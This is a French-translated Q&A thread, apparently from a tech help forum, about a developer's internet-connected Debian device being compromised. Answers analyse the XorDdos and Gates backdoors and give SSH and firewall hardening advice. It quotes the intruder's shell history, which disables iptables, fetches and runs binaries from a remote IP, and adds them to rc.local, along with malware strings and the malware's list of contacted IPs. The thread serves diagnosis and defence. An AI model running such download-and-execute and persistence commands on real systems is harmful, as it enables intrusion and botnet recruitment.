Est-ce que je viens de me faire pirater?

Question

Je développe un produit grand public, qui est censé être connecté à Internet. Il est donc connecté à Internet afin que je puisse le développer correctement.

Je suis parti pendant une heure ou deux et quand je suis rentré dans mon bureau, j'ai remarqué d'étranges commandes écrites dans le terminal.

En regardant le fichier journal Linux appelé auth.log, je peux voir les lignes suivantes (parmi beaucoup d'autres):

Feb  1 10:45:10 debian-armhf sshd[994]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=40.127.205.162  user=root
Feb  1 10:45:12 debian-armhf sshd[994]: Failed password for root from 40.127.205.162 port 37198 ssh2
Feb  1 10:45:12 debian-armhf sshd[994]: Received disconnect from 40.127.205.162: 11: Bye Bye [preauth]

L’adresse IP 40.127.205.162 s’avère être propriété de Microsoft .

Voici un tas de commandes qui ont été utilisées pendant mon absence:

  355  service iptables stop
  356  cd /tmp
  357  wget http://222.186.30.209:65534/yjz1
  358  chmod 0755 /tmp/yjz1
  359  Nohup /tmp/yjz1 > /dev/null 2>&1 &
  360  chmod 777 yjz1
  361  ./yjz1
  362  chmod 0755 /tmp/yjz1
  363  Nohup /tmp/yjz1 > /dev/null 2>&1 &
  364  chmod 0777 yjz1
  365  chmod u+x yjz1
  366  ./yjz1 &
  367  chmod u+x yjz1
  368  ./yjz1 &
  369  wget http://222.186.30.209:65534/yjz
  370  chmod 0755 /tmp/yjz
  371  Nohup /tmp/yjz > /dev/null 2>&1 &
  372  chmod 777 yjz
  373  ./yjz
  374  chmod 0755 /tmp/yjz
  375  Nohup /tmp/yjz > /dev/null 2>&1 &
  376  chmod u+x yjz
  377  ./yjz &
  378  chmod u+x yjz
  379  ./yjz &
  380  cd /tmp
  381  echo "cd  /tmp/">>/etc/rc.local
  382  service iptables stop
  383  cd /tmp
  384  wget http://222.186.30.209:65534/yjz1
  385  chmod 0755 /tmp/yjz1
  386  Nohup /tmp/yjz1 > /dev/null 2>&1 &
  387  chmod 777 yjz1
  388  ./yjz1
  389  chmod 0755 /tmp/yjz1
  390  Nohup /tmp/yjz1 > /dev/null 2>&1 &
  391  chmod u+x yjz1
  392  ./yjz1 &
  393  chmod 0777 yjz1
  394  ./yjz1 &
  395  echo "cd  /tmp/">>/etc/rc.local
  396  service iptables stop
  397  wget http://222.186.30.209:65534/yjz1
  398  chmod 0755 /root/yjz1
  399  Nohup /root/yjz1 > /dev/null 2>&1 &
  400  chmod 777 yjz1
  401  ./yjz1
  402  chmod 0755 /root/yjz1
  403  Nohup /root/yjz1 > /dev/null 2>&1 &
  404  chmod u+x yjz1
  405  ./yjz1 &
  406  chmod 0777 yjz1
  407  ./yjz1 &
  408  echo "cd  /root/">>/etc/rc.local
  409  cd /tmp
  410  service iptables stop
  411  wget http://222.186.30.209:65534/yjz1
  412  chmod 0755 /tmp/yjz1
  413  Nohup /tmp/yjz1 > /dev/null 2>&1 &
  414  chmod 777 yjz1
  415  ./yjz1 &
  416  cd /etc
  417  echo "cd /root/">>/etc/rc.local
  418  echo "./yjz1&">>/etc/rc.local
  419  echo "./yjz1&">>/etc/rc.local
  420  echo "/etc/init.d/iptables stop">>/etc/rc.local
  421  cd /tmp
  422  service iptables stop
  423  wget http://222.186.30.209:65534/yjz1
  424  chmod 0755 /tmp/yjz1
  425  Nohup /tmp/yjz1 > /dev/null 2>&1 &
  426  chmod 777 yjz1
  427  ./yjz1 &
  428  cd /etc
  429  echo "cd /root/">>/etc/rc.local
  430  echo "./yjz1&">>/etc/rc.local
  431  echo "./yjz1&">>/etc/rc.local
  432  echo "/etc/init.d/iptables stop">>/etc/rc.local
  433  cd /tmp
  434  service iptables stop
  435  wget http://222.186.30.209:65534/yjz1
  436  chmod 0755 /tmp/yjz1
  437  Nohup /tmp/yjz1 > /dev/null 2>&1 &
  438  chmod 777 yjz1
  439  ./yjz1 &
  440  cd /etc
  441  echo "cd /root/">>/etc/rc.local
  442  echo "./yjz1&">>/etc/rc.local
  443  echo "./yjz1&">>/etc/rc.local
  444  echo "/etc/init.d/iptables stop">>/etc/rc.local
  445  service iptables stop
  446  wget http://222.186.30.209:65534/yjz1
  447  chmod 0755 /root/yjz1
  448  Nohup /root/yjz1 > /dev/null 2>&1 &
  449  chmod 777 yjz1
  450  ./yjz1
  451  chmod 0755 /root/yjz1
  452  Nohup /root/yjz1 > /dev/null 2>&1 &
  453  chmod 0777 yjz1
  454  chmod u+x yjz1
  455  ./yjz1 &
  456  chmod u+x yjz1
  457  ./yjz1 &

Et plus:

  481  service iptables stop
  482  wget http://222.186.30.209:65534/yjz1
  483  chmod 0755 /root/yjz1
  484  Nohup /root/yjz1 > /dev/null 2>&1 &
  485  chmod 777 yjz1
  486  ./yjz1
  487  chmod 0755 /root/yjz1
  488  Nohup /root/yjz1 > /dev/null 2>&1 &
  489  chmod 0777 yjz1
  490  chmod u+x yjz1
  491  ./yjz1 &
  492  chmod u+x yjz1
  493  ./yjz1 &
  494  cd /tmp
  495  service iptables stop
  496  wget http://175.102.133.55:2/yjz
  497  ./yd_cd/make
  498  service iptables stop
  499  service iptables stop
  500  wget http://222.186.30.209:65534/yjz1

J'étais complètement inconscient de cela. Comment sécuriser correctement mon produit?

Je voudrais poster le fichier complet auth.log. Comment je fais ça?

En outre, le fichier yjz1 qui a été téléchargé semble être un cheval de Troie Linux et tout cela semble être effectué par une sorte de groupe de hacker selon http://anti-hacker-alliance.com/index.php?ip= 40.127.205.162

Dois-je appeler Microsoft et leur parler? Que devrais-je faire?

Answer 1

EDIT 2 :

il y a une bonne raison pour laquelle ce message attire autant d'attention: vous avez réussi à enregistrer la totalité de la session en direct d'un intrus sur votre PC. Ceci est très différent de notre expérience quotidienne, où nous traitons avec la découverte des conséquences de ses actions et essayons de les réparer. Nous le voyons ici au travail, le voyons avoir des problèmes pour établir la porte arrière, reviennent sur ses pas, travaillent fébrilement (peut-être parce qu'il était assis à votre bureau, comme suggéré ci-dessus, ou peut-être, et à mon avis plus probablement, parce qu'il était impossible de faire fonctionner son logiciel malveillant sur le système (voir ci-dessous) et essayez de déployer des instruments de contrôle entièrement autonomes. C’est ce que les chercheurs en sécurité observent quotidiennement avec leurs pièges à miel. Pour moi, c'est une chance très rare, et la source de l'amusement.

---

Vous avez certainement été piraté. La preuve en est not provient de l'extrait de code du fichier auth.log que vous avez affiché, car cela signale une tentative de connexion infructueuse survenue sur une courte période (deux secondes). Vous remarquerez que la deuxième ligne indique Failed password, tandis que la troisième indique une déconnexion pre-auth: le gars a essayé et a échoué.

La preuve provient plutôt du contenu des deux fichiers http://222.186.30.209:65534/yjz et http://222.186.30.209:65534/yjz1 que l'attaquant a téléchargés sur votre système.

Le site est actuellement ouvert à toute personne pour les télécharger, ce que j'ai fait. J'ai d'abord exécuté file sur eux, ce qui montrait:

$ file y*
yjz:      ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped
yjz1:     ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped

Ensuite, je les ai amenés sur une Debian 64 bits VM I; un examen de leur contenu via la commande strings a révélé beaucoup d'éléments suspects (références à diverses attaques connues, aux commandes à remplacer, script clairement utilisé pour configurer un nouveau service, etc.).

J'ai ensuite produit les hachages MD5 des deux fichiers et les ai alimentés dans la base de données de Cymru hash pour voir s'ils sont des agents connus de programmes malveillants. Si yjz ne l’est pas, yjz1 l’est et Cymru signale une probabilité de détection par le logiciel anti-virus de 58%. Il est également indiqué que ce fichier a été vu pour la dernière fois il y a trois jours environ et qu'il est donc relativement récent.

Lancer clamscan (une partie du paquetage clamav) sur les deux fichiers que j'ai obtenus:

$ clamscan y*
yjz: Linux.Backdoor.Gates FOUND
yjz1: Linux.Trojan.Xorddos FOUND

nous sommes maintenant certains que les logiciels standard Linux peuvent l'identifier.

Que devriez-vous faire?

Bien que relativement nouveau, aucun des deux systèmes n’est très récent, voir cet article de janvier 2015 sur XorDdos , par exemple. Donc, la plupart des paquets gratuits devraient pouvoir le supprimer. Vous devriez essayer: clamav, rkhunter, chkrootkit. J'ai googlé autour de moi et vu qu'ils prétendent pouvoir le repérer. Utilisez-les pour vérifier le travail du prédécesseur, mais après avoir exécuté ces trois programmes, vous devriez être prêt à commencer.

En ce qui concerne la question plus générale, what should you do to prevent future infections, la réponse de compagnon est un bon premier pas. Gardez simplement à l’esprit que c’est un combat permanent, un combat que chacun de nous (y compris moi!) Avons très bien pu perdre sans le savoir.

EDIT:

À l'invite (indirecte) de Viktor Toth, j'aimerais ajouter quelques commentaires. Certes, l'intrus a rencontré certaines difficultés: il télécharge deux outils de piratage distincts, modifie leurs autorisations à plusieurs reprises, les redémarre plusieurs fois et tente à plusieurs reprises de désactiver le pare-feu. Il est facile de deviner ce qui se passe: il s'attend à ce que ses outils de piratage ouvrent un canal de communication vers l'un de ses ordinateurs infectés (voir plus loin) et, lorsqu'il ne voit pas ce nouveau canal apparaître sur son interface graphique de contrôle, il craint son piratage. L’outil est bloqué par le pare-feu, il répète donc la procédure d’installation. Je suis d'accord avec Viktor Toth pour dire que cette étape de son opération ne semble pas apporter les fruits escomptés, mais je voudrais vous encourager très fortement à ne pas sous-estimer l'ampleur des dégâts infligés à votre ordinateur.

Je fournis ici une sortie partielle de strings yjz1:

etc/init.d/%s
/etc/rc%d.d/S90%s
--del
chkconfig
remove
update-rc.d
/etc/cron.hourly/gcc4.sh
/etc/rc.d/rc%d.d/S90%s
--add
defaults
/proc/%d/exe
/proc/self/exe
HOME=/
MYSQL_HISTFILE=/dev/null
#!/bin/sh
# chkconfig: 12345 90 90
# description: %s
### BEGIN INIT INFO
# Provides:             %s
# Required-Start:
# Required-Stop:
# Default-Start:        1 2 3 4 5
# Default-Stop:
# Short-Description:    %s
### END INIT INFO
case $1 in
start)
stop)
esac
sed -i '/\/etc\/cron.hourly\/gcc4.sh/d' /etc/crontab && echo '*/3 * * * * root /etc/cron.hourly/gcc4.sh' >> /etc/crontab
etc/init.d/%s
GET %s HTTP/1.1
%sHost: %s
POST %s HTTP/1.1
%sHost: %s
Content-Type: application/x-www-form-urlencoded
Content-Length: %d
%s%s
Accept: */*
Accept-Language: zh-cn
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1;      TencentTraveler ; .NET CLR 1.1.4322)
Connection: Keep-Alive

Cela prouve qu'il y a eu altération des services (dans /etc/init.d et /etc/rc.d), avec crontab, avec l'historique de mysql et quelques fichiers dans proc, qui renvoient à bash (ce qui suggère une version personnalisée et frauduleuse de votre shell a été planté). Ensuite, le programme génère une requête HTTP (vers un site de langue chinoise,

 Accept-Language: zh-cn

ce qui donne un contenu au commentaire de David Schwartz ci-dessus), ce qui peut créer encore plus de dégâts. Dans la demande, les fichiers binaires (Content-Type: application/x-www-form-urlencoded) doivent être téléchargés sur le PC attaqué (GET) et téléchargés sur la machine de contrôle (POST). Je ne pouvais pas établir ce qui serait téléchargé sur le PC attaqué, mais, étant donné la petite taille de yjz et yjz1 (respectivement, 1,1 Mo et 600 Ko), je peux me permettre de supposer que la plupart des fichiers nécessaires pour masquer le rootkit, ie les versions modifiées de ls, netstat, ps, ifconfig, ..., seraient téléchargées de cette façon. Et cela expliquerait les tentatives fiévreuses de l'attaquant pour lancer ce téléchargement.

Il n’est pas certain que ce qui précède épuise toutes les possibilités: il nous manque certainement une partie de la transcription (entre les lignes 457 et 481) et nous ne voyons pas de déconnexion; De plus, les lignes 495 à 497 sont particulièrement inquiétantes.

cd /tmp;  ./yd_cd/make

qui font référence à un fichier que nous n'avons pas vu téléchargé, et qui pourrait être une compilation: si c'est le cas, cela signifie que l'attaquant a (enfin?) compris quel était le problème avec ses exécutables et tente de le réparer Dans ce cas, le PC attaqué est parti pour de bon. [En fait, les deux versions du malware que l'attaquant a téléchargé sur la machine piratée (et moi sur ma machine virtuelle Debian 64 bits) correspondent à une architecture inappropriée, x86, alors que le seul nom du PC piraté indique le fait que il avait affaire à une architecture de bras].

La raison pour laquelle j’ai écrit cette modification est de vous inciter aussi fortement que possible à peigner votre système avec un instrument professionnel ou à effectuer une nouvelle installation à partir de zéro.

Et, d'ailleurs, si cela devait être utile à qui que ce soit, voici la liste des 331 adresses IP auxquelles yjz tente de se connecter. Cette liste est si longue (et probablement destinée à le devenir encore) que j’estime que c’est la raison de l’altération de mysql. La liste fournie par l'autre porte dérobée est identique, ce qui, je suppose, est la raison pour laquelle une information aussi importante reste à la vue (I pensez), l'attaquant ne souhaitait pas faire l'effort de stocker eux au format noyau, il a donc placé la liste entière dans un fichier en texte clair, qui est probablement lu par tous ses backdoors, quel que soit le système d'exploitation utilisé:

61.132.163.68
202.102.192.68
202.102.213.68
202.102.200.101
58.242.2.2
202.38.64.1
211.91.88.129
211.138.180.2
218.104.78.2
202.102.199.68
202.175.3.3
202.175.3.8
202.112.144.30
61.233.9.9
61.233.9.61
124.207.160.110
202.97.7.6
202.97.7.17
202.106.0.20
202.106.46.151
202.106.195.68
202.106.196.115
202.106.196.212
202.106.196.228
202.106.196.230
202.106.196.232
202.106.196.237
202.112.112.10
211.136.17.107
211.136.28.231
211.136.28.234
211.136.28.237
211.147.6.3
219.141.136.10
219.141.140.10
219.141.148.37
219.141.148.39
219.239.26.42
221.130.32.100
221.130.32.103
221.130.32.106
221.130.32.109
221.130.33.52
221.130.33.60
221.176.3.70
221.176.3.73
221.176.3.76
221.176.3.79
221.176.3.83
221.176.3.85
221.176.4.6
221.176.4.9
221.176.4.12
221.176.4.15
221.176.4.18
221.176.4.21
58.22.96.66
218.104.128.106
202.101.98.55
211.138.145.194
211.138.151.161
211.138.156.66
218.85.152.99
218.85.157.99
222.47.29.93
202.101.107.85
119.233.255.228
222.47.62.142
122.72.33.240
211.98.121.27
218.203.160.194
221.7.34.10
61.235.70.98
113.111.211.22
202.96.128.68
202.96.128.86
202.96.128.166
210.21.3.140
210.21.4.130
211.95.193.97
211.98.2.4
211.98.4.1
211.162.61.225
211.162.61.235
211.162.61.255
211.162.62.1
211.162.62.60
221.4.66.66
202.103.176.22
202.96.144.47
210.38.192.33
202.96.134.33
202.96.134.133
202.96.154.15
210.21.196.6
221.5.88.88
202.103.243.112
202.193.64.33
61.235.164.13
61.235.164.18
202.103.225.68
221.7.136.68
202.103.224.68
211.97.64.129
211.138.240.100
211.138.242.18
211.138.245.180
221.7.128.68
222.52.118.162
202.98.192.67
202.98.198.167
211.92.136.81
211.139.1.3
211.139.2.18
202.100.192.68
211.97.96.65
211.138.164.6
221.11.132.2
202.100.199.8
202.99.160.68
202.99.166.4
202.99.168.8
222.222.222.222
202.102.224.68
202.102.227.68
222.85.85.85
222.88.88.88
210.42.241.1
202.196.64.1
112.100.100.100
202.97.224.68
219.235.127.1
61.236.93.33
211.93.24.129
211.137.241.34
219.147.198.230
202.103.0.68
202.103.0.117
202.103.24.68
202.103.44.150
202.114.0.242
202.114.240.6
211.161.158.11
211.161.159.3
218.104.111.114
218.104.111.122
218.106.127.114
218.106.127.122
221.232.129.30
59.51.78.210
61.234.254.5
202.103.96.112
219.72.225.253
222.243.129.81
222.246.129.80
211.142.210.98
211.142.210.100
220.168.208.3
220.168.208.6
220.170.64.68
218.76.192.100
61.187.98.3
61.187.98.6
202.98.0.68
211.93.64.129
211.141.16.99
202.98.5.68
219.149.194.55
211.138.200.69
202.102.3.141
202.102.3.144
58.240.57.33
112.4.0.55
114.114.114.114
114.114.115.115
202.102.24.34
218.2.135.1
221.6.4.66
221.131.143.69
202.102.8.141
222.45.0.110
61.177.7.1
218.104.32.106
211.103.13.101
221.228.255.1
61.147.37.1
222.45.1.40
58.241.208.46
202.102.9.141
202.102.7.90
202.101.224.68
202.101.226.68
211.141.90.68
211.137.32.178
202.96.69.38
211.140.197.58
219.149.6.99
202.96.86.18
101.47.189.10
101.47.189.18
118.29.249.50
118.29.249.54
202.96.64.68
202.96.75.68
202.118.1.29
202.118.1.53
219.148.204.66
202.99.224.8
202.99.224.67
211.90.72.65
211.138.91.1
218.203.101.3
202.100.96.68
211.93.0.81
222.75.152.129
211.138.75.123
202.102.154.3
202.102.152.3
219.146.1.66
219.147.1.66
202.102.128.68
202.102.134.68
211.138.106.19
211.90.80.65
202.99.192.66
202.99.192.68
61.134.1.4
202.117.96.5
202.117.96.10
218.30.19.40
218.30.19.50
116.228.111.118
180.168.255.18
202.96.209.5
202.96.209.133
202.101.6.2
211.95.1.97
211.95.72.1
211.136.112.50
211.136.150.66
119.6.6.6
124.161.97.234
124.161.97.238
124.161.97.242
61.139.2.69
202.98.96.68
202.115.32.36
202.115.32.39
218.6.200.139
218.89.0.124
61.139.54.66
61.139.39.73
139.175.10.20
139.175.55.244
139.175.150.20
139.175.252.16
168.95.1.1
210.200.211.193
210.200.211.225
211.78.130.1
61.31.1.1
61.31.233.1
168.95.192.1
168.95.192.174
61.60.224.3
61.60.224.5
202.113.16.10
202.113.16.11
202.99.96.68
202.99.104.68
211.137.160.5
211.137.160.185
219.150.32.132
202.98.224.68
211.139.73.34
61.10.0.130
61.10.1.130
202.14.67.4
202.14.67.14
202.45.84.58
202.45.84.67
202.60.252.8
202.85.128.32
203.80.96.9
203.142.100.18
203.142.100.21
203.186.94.20
203.186.94.241
221.7.1.20
61.128.114.133
61.128.114.166
218.202.152.130
61.166.150.123
202.203.128.33
211.98.72.7
211.139.29.68
211.139.29.150
211.139.29.170
221.3.131.11
222.172.200.68
61.166.150.101
61.166.150.139
202.203.144.33
202.203.160.33
202.203.192.33
202.203.208.33
202.203.224.33
211.92.144.161
222.221.5.240
61.166.25.129
202.96.103.36
221.12.1.227
221.130.252.200
222.46.120.5
202.96.96.68
218.108.248.219
218.108.248.245
61.130.254.34
60.191.244.5
202.96.104.15
202.96.104.26
221.12.33.227
202.96.107.27
61.128.128.68
61.128.192.68
218.201.17.2
221.5.203.86
221.5.203.90
221.5.203.98
221.7.92.86
221.7.92.98

Le code suivant

 #!/bin/bash
 echo 0 > out
 while read i; do
       whois $i | grep -m 1 -i country >> out
 done < filename
 cat out | grep -i cn | wc -l

sur la liste ci-dessus montre que 302 sur un total de 331 adresses sont en Chine continentale, les adresses restantes sont à Hong Kong, en Mongolie et à Taiwan. Cela renforce encore l'affirmation de David Schwartz selon laquelle il s'agit principalement d'un réseau de robots chinois.

EDIT 3

À la demande de @ vaid (l'auteur de l'OP, lisez son commentaire ci-dessous), je vais ajouter un commentaire sur la manière de renforcer la sécurité d'un système Linux de base (pour un système offrant de nombreux services, il s'agit d'un sujet beaucoup plus complexe). vaid déclare avoir agi comme suit:

1. Réinstaller le système

2. changé le mot de passe root en un mot de passe de 16 caractères avec des lettres minuscules et majuscules, des caractères et des chiffres.

3. Changé le nom d'utilisateur en un nom d'utilisateur long composé de 6 caractères et applique le même mot de passe que celui utilisé pour root

4. changé le port SSH à quelque chose de plus de 5000

5. désactivé la connexion root SSH.

C'est bon (sauf que j'utilise un port supérieur à 10 000, car de nombreux programmes utiles utilisent les ports inférieurs à 10 000). Mais Je ne saurais trop insister sur la nécessité d’utiliser des clés cryptographiques pour la connexion SSH , au lieu des mots de passe. Je vais vous donner un exemple personnel. Sur l'un de mes VPS, j'étais incertain de changer le port ssh; Je l'ai laissé à 22 ans, mais j'ai utilisé des clés de chiffrement pour l'authentification. J'ai eu des centaines de tentatives de rodage par jour , aucun n'a réussi. Quand, fatigué de vérifier chaque jour que personne n’avait réussi, j’ai finalement basculé le port à plus de 10 000, les tentatives d’intrusion sont passées à zéro. Remarquez, ce n'est pas que les pirates informatiques sont stupides (ils ne le sont pas!), Ils traquent juste une proie plus facile.

Il est facile d'activer une clé cryptographique avec RSA comme algorithme de signature, voir le commentaire ci-dessous de Jan Hudec (merci!):

 cd; mkdir .ssh; chmod 700 .ssh; cd .ssh; ssh-keygen -t rsa (then hit <kbd>ENTER>/kbd> three times); cat id_rsa.pub >> authorized_keys; chmod 600 *

Il ne vous reste plus qu'à copier le fichier id_rsa sur la machine à laquelle vous souhaitez vous connecter (dans un répertoire .ssh, également chmod 'ed à 700), puis tapez la commande

ssh -p YourChosenNonStandardPort -i ~/.ssh/id_rsa me@RemoteMachine

Lorsque vous êtes sûr que cela fonctionne, éditez le fichier /etc/ssh/sshd_config sur le serveur (= la machine à laquelle vous souhaitez vous connecter) et modifiez la ligne.

#PasswordAuthentication yes

à

PasswordAuthentication no

et redémarrez le service ssh (service ssh restart ou systemctl restart ssh, ou quelque chose du genre, selon la distribution).

Cela résistera beaucoup. En fait, il n'y a actuellement aucun exploit connu contre les versions actuelles de openssh v2 et de RSA telles qu'utilisées par openssh v2.

Enfin, pour vraiment verrouiller votre machine, vous devrez configurer le pare-feu (netfilter/iptables) comme suit:

 iptables -A INPUT -p tcp --dport YourChosenNonStandardPort -j ACCEPT
 iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
 iptables -P INPUT DROP
 iptables -P OUTPUT ACCEPT
 iptables -A INPUT -i lo -j ACCEPT
 iptables -A OUTPUT -o lo -j ACCEPT

Ceci, 1) permet les connexions SSH à la fois LAN et WAN, 2) autorise toutes les entrées qui ont été générées par vos demandes (par exemple, lorsque vous chargez une page Web), 3) supprime tout le reste sur l’entrée, 4) permet tout la sortie, et 5-6) permet tout sur l’interface de bouclage.

Au fur et à mesure que vos besoins augmentent et que vous devez ouvrir davantage de ports, vous pouvez le faire en ajoutant en haut de la liste des règles telles que:

 iptables -A INPUT -p tcp --dport 80 -j ACCEPT

pour permettre par exemple aux personnes d'accéder à votre navigateur Web.

Answer 2

Bienvenue sur Internet - où tout serveur SSH ouvert risque d’être sondé, forcé de force et soumis à diverses indignités.

Pour commencer, vous devez effacer complètement la mémoire de stockage du produit. Imaginez-le si vous voulez le transmettre aux experts judiciaires, mais l'installation de Linux sur celui-ci est maintenant suspecte.

Peu de devinettes mais

1. Vous avez utilisé brute-forcé ou un mot de passe commun. C'est la sécurité par obscurité mais vous ne voulez pas que le mot de passe du dictionnaire ou utilise un compte root ouvert sur SSH. Désactivez l’accès SSH racine s’il s’agit d’une option ou modifiez au moins le nom afin qu’ils aient à deviner les deux SSHing en tant que racine est de toute façon une pratique de sécurité terrible. Si vous devez utiliser root, connectez-vous en tant qu'utilisateur différent et utilisez su ou Sudo pour passer.

2. Selon le produit, vous souhaiterez peut-être verrouiller l'accès SSH d'une manière ou d'une autre. Un verrouillage total semble être une bonne idée et permet aux utilisateurs de l'ouvrir au besoin . En fonction des ressources que vous pouvez économiser, envisagez d'autoriser uniquement les adresses IP dans votre propre sous-réseau ou un système de limitation de connexion. Si vous n'en avez pas besoin sur le produit final, assurez-vous qu'il est désactivé.

3. Utilisez un port non standard. Sécurité par obscurité, encore une fois, mais cela signifie qu'un attaquant doit cibler votre port.

4. Ne jamais utiliser un mot de passe par défaut. La meilleure approche que j'ai vue consiste à générer de manière aléatoire un mot de passe pour un périphérique spécifique et à l'expédier avec votre produit. La meilleure pratique est l'authentification basée sur la clé, mais je ne sais pas comment aborder cette question avec un produit de masse.

Answer 3

Oh, vous avez été définitivement piraté. Quelqu'un semble avoir pu obtenir les informations d'identification de la racine et tenté de télécharger un cheval de Troie sur votre système. MariusMatutiae a fourni une analyse de la charge utile.

Deux questions se posent: a) l'attaquant a-t-il réussi? Et b) que pouvez-vous faire à ce sujet?

La réponse à la première question may est un non. Notez que l'attaquant tente à plusieurs reprises de télécharger et d'exécuter le contenu, apparemment sans succès. Je soupçonne que quelque chose (SELinux, peut-être?) Lui faisait obstacle.

CEPENDANT: l’attaquant a également modifié votre fichier /etc/rc.d/rc.local, dans l’espoir que, lorsque vous redémarrez votre système, la charge utile sera activée. Si vous n'avez pas encore redémarré le système, ne redémarrez pas avant d'avoir supprimé ces modifications de /etc/rc.d/rc.local. Si vous l'avez déjà redémarré ... eh bien, bonne chance.

Pour ce qui est de ce que vous pouvez faire à ce sujet: La chose la plus sûre à faire est d’essuyer le système et de le réinstaller à partir de zéro. Mais cela peut ne pas toujours être une option. Une chose nettement moins sûre à faire est d’analyser exactement ce qui s’est passé et d’en effacer chaque trace, si vous le pouvez. Encore une fois, si vous n'avez pas encore redémarré le système, il vous suffira peut-être de nettoyer /etc/rc.d/rc.local, de supprimer tout ce qui a été téléchargé par l'attaquant et enfin, de changer le mot de passe!

Toutefois, si l'attaquant était déjà capable d'exécuter la charge utile, d'autres modifications de votre système pourraient s'avérer difficiles à détecter. C'est pourquoi une lingette complète est vraiment la seule option sûre (et recommandée). Comme vous l'avez indiqué, le matériel en question peut constituer une cible de test/développement. Il est donc peut-être inutile de l'essuyer, ce qui est moins douloureux que dans d'autres cas.

Mise à jour: Malgré ce que j'ai écrit sur une éventuelle reprise, je souhaite faire écho à la recommandation de MariusMatutiae très forte de ne pas sous-estimer les dommages potentiels causés par cette charge utile et la mesure dans laquelle ils auraient pu compromettre le système cible.

Answer 4

Sshd-honeypot a également été témoin de ce type d'attaque. Les premiers téléchargements à partir de cette URL ont débuté le 29/01/2016, le 29/01/2012 et les attaques sont toujours en cours. Les attaques sont/venaient de

103.30.4.212
111.68.6.170
118.193.228.169

Les commentaires de ces attaquants étaient:

 service iptables stop 
 wget http://222.186.30.209:65534/yjz1
Nohup/root/yjz1>/dev/null 2> & amp1 & 
 chmod 0777 yjz1 
 Chmod u + x yjz1 
 ./ yjz1 & 
 Chmod u + x yjz1 
 ./ yjz1 & 
 Cd/tmp 

Donc, pas d'activités autres que l'installation de la porte dérobée pour plus tard.

Answer 5

Tout le monde ici a offert des conseils avisés, mais pour être clair, vos priorités doivent être de sauvegarder et de vérifier ce dont vous avez vraiment besoin de ce système, puis de l’effacer avec une nouvelle installation à partir d’un support connu.

Avant de connecter votre hôte nouvellement installé à Internet, parcourez ces idées:

1. Créez un nouvel utilisateur non root et connectez-vous en tant qu'utilisateur. Vous ne devriez jamais avoir besoin de vous connecter en tant que root, mais juste de Sudo (utilisateur suppléant) si nécessaire.

2. Installez SE Linux, les paramètres de configuration qui activent le contrôle d’accès obligatoire: https://wiki.debian.org/SELinux/Setup

3. Envisagez un pare-feu matériel entre votre bureau/domicile et Internet. J'utilise MicroTik, qui bénéficie d'un excellent support communautaire: http://routerboard.com/ .

En supposant que vous soyez sur un calendrier pour terminer votre travail rémunéré, faites au moins # 1. Le numéro 3 est rapide et bon marché, mais vous devrez soit attendre le colis par la poste, soit vous rendre au magasin.

Answer 6

1. Est-ce que debian-armhf votre nom d’hôte? Ou utilisez-vous une installation par défaut avec des paramètres par défaut? Cela ne pose aucun problème, mais vous ne devez pas autoriser l’hôte à être directement exposé à Internet (c’est-à-dire qu’il n’est pas protégé par votre modem, du moins).

2. Il semble que le véritable problème vienne de 222.186.30.209 (voir http://anti-hacker-alliance.com/index.php?ip=222.186.30.209 ). Vous ne devriez pas payer beaucoup d'attention pour voir l'adresse IP de Microsoft. Les IP peuvent être plus ou moins simulés/usurpés assez facilement.

3. Une façon habituelle de se connecter à Internet consiste à transmettre une liste connue de ports de votre adresse IP publique (par exemple, 8.8.8.8) à votre réseau local (par exemple, 192.168.1.12).

   • Par exemple, ne transférez pas toutes les connexions entrantes de 8.8.8.8 (public) vers 192.168.1.12 (local).

   • Transférer uniquement les ports 22 et 25 (ssh et courrier entrant, respectivement). Bien entendu, vous devriez également disposer de ssh et smtp packages/libraries à jour.

4. Et après? Déconnectez l'hôte et modifiez tous les mots de passe (sur les ordinateurs associés à l'organisation) codés en dur dans les scripts Shell (honte à vous!) Dans /etc/shadow.

Answer 7

Comme d'autres l'ont dit, il est clair que la sécurité de votre serveur a été compromise. Le plus sûr est d'essuyer cette machine et de la réinstaller.

Pour répondre à la deuxième partie de votre question, si vous ne pouvez pas utiliser l'authentification par clé publique, je vous recommande au moins de configurer Fail2Ban et d'exécuter SSH sur un port non standard. J'ai également désactivé l'accès SSH racine.

Fail2Ban aidera à atténuer les attaques par force brute en interdisant les adresses IP qui ne parviennent pas à se connecter un certain nombre de fois.

Définir sshd pour écouter sur un port non standard contribuera au moins à réduire un peu la visibilité de votre serveur SSH. La désactivation de la connexion root réduit également légèrement le profil d'attaque. Dans /etc/sshd_config:

PermitRootLogin no
Port xxxxx

Avec la connexion root désactivée, vous devrez soit basculer sur root avec su une fois que vous êtes connecté, ou (plus préférablement) utiliser Sudo pour exécuter des commandes privilégiées.

Answer 8

Les serveurs SSH sont constamment attaqués sur Internet. Quelques choses que vous faites:

1. Assurez-vous d'utiliser un mot de passe aléatoire très sécurisé, pour les machines accessibles par Internet. Je veux dire comme 16 caractères ou plus et complètement aléatoire. Utilisez un gestionnaire de mot de passe pour ne pas avoir à le mémoriser. Si vous pouvez mémoriser votre mot de passe, c'est trop simple.

2. Si vous n'avez pas besoin de SSH, désactivez-le. Si vous en avez besoin, mais que vous n'avez pas besoin qu'il soit accessible publiquement, exécutez-le sur un numéro de port élevé et non standard. Cela réduira considérablement les tentatives de piratage. Oui, un pirate informatique dédié peut analyser les ports, mais les robots automatisés ne le trouveront pas.

L'extrait de votre journal d'authentification indique une tentative infructueuse. Cependant, si vous regardez plus loin, vous constaterez sans aucun doute une connexion réussie. Si vous utilisez un mot de passe simple, il est alors trivial pour un bot d'entrer.

Vous devez isoler cette machine du réseau. Prenez très soigneusement ce dont vous avez besoin, puis essuyez-le.

Answer 9

La première chose que tout le monde devrait faire après avoir configuré un serveur Linux/Unix front-office est de désactiver immédiatement root.

